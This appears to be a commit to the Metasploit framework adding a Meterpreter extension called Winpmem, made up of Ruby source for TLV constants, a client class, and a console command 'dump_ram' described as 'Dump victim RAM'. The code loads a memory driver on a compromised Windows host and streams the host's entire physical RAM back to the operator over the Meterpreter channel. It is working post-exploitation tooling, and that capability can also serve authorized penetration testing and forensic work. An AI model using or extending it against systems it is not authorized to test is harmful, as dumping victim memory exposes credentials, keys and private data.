Winpmem meterpreter extension

bug/bundler_fix
Danil Bazin 2016-08-30 19:12:28 +02:00
parent e403df57e0
commit 39407dda95
3 changed files with 154 additions and 0 deletions

View File

@ -0,0 +1,13 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Winpmem
TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
end
end
end
end
end

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/winpmem/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Winpmem
###
#
# This meterpreter extension can be used to capture remote RAM
#
###
class Winpmem < Extension
WINPMEM_ERROR_SUCCESS = 0
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
WINPMEM_ERROR_UNKNOWN = 255
def initialize(client)
super(client, 'winpmem')
client.register_extension_aliases(
[
{
'name' => 'winpmem',
'ext' => self
},
])
end
def dump_ram
request = Packet.create_request('dump_ram')
response = client.send_request(request)
response_code = response.get_tlv_value(TLV_TYPE_WINPMEM_ERROR_CODE)
return 0, response_code, nil if response_code != WINPMEM_ERROR_SUCCESS
memory_size = response.get_tlv_value(TLV_TYPE_WINPMEM_MEMORY_SIZE)
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
raise Exception, "We did not get a channel back!" if channel_id.nil?
#Open the compressed Channel
channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
return memory_size, response_code, channel
end
end
end; end; end; end; end

View File

@ -0,0 +1,90 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
class Console::CommandDispatcher::Winpmem
Klass = Console::CommandDispatcher::Winpmem
include Console::CommandDispatcher
#
# Name for this dispatcher
#
def name
'Winpmem'
end
#
# List of supported commands.
#
def commands
{
'dump_ram' => 'Dump victim RAM',
}
end
WINPMEM_ERROR_SUCCESS = 0
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
WINPMEM_ERROR_UNKNOWN = 255
def cmd_dump_ram(*args)
unless args[0]
print_error("Usage: dump_ram [raw-memory-file]")
return
end
path_raw = args[0]
fd = ::File.new(path_raw, 'wb+')
memory_size, response_code, channel = client.winpmem.dump_ram
case response_code
when WINPMEM_ERROR_FAILED_LOAD_DRIVER
print_bad("Failed to load the driver")
return true
when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY
print_bad("Failed to get the memory geometry")
return true
when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY
print_bad("Failed to allocate memory")
return true
when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL
print_bad("Failed to open the meterpreter Channel")
return true
end
print_good("Driver PMEM loaded successfully")
#Arbitrary big buffer size, could be optimized
buffer_size = 2**17
bytes_read = 0
next_message_byte = memory_size / 10
begin
data = channel.read(buffer_size)
until channel.eof
fd.write(data)
bytes_read += data.length
data = channel.read(buffer_size)
if bytes_read >= next_message_byte
print_good(((next_message_byte.to_f / memory_size) * 100).round.to_s + "% Downloaded")
next_message_byte += memory_size / 10
end
end
print_status("Download completed")
ensure
print_status("Unloading driver")
fd.close
#Unload the driver on channel close
channel.close
end
return true
end
end
end
end
end
end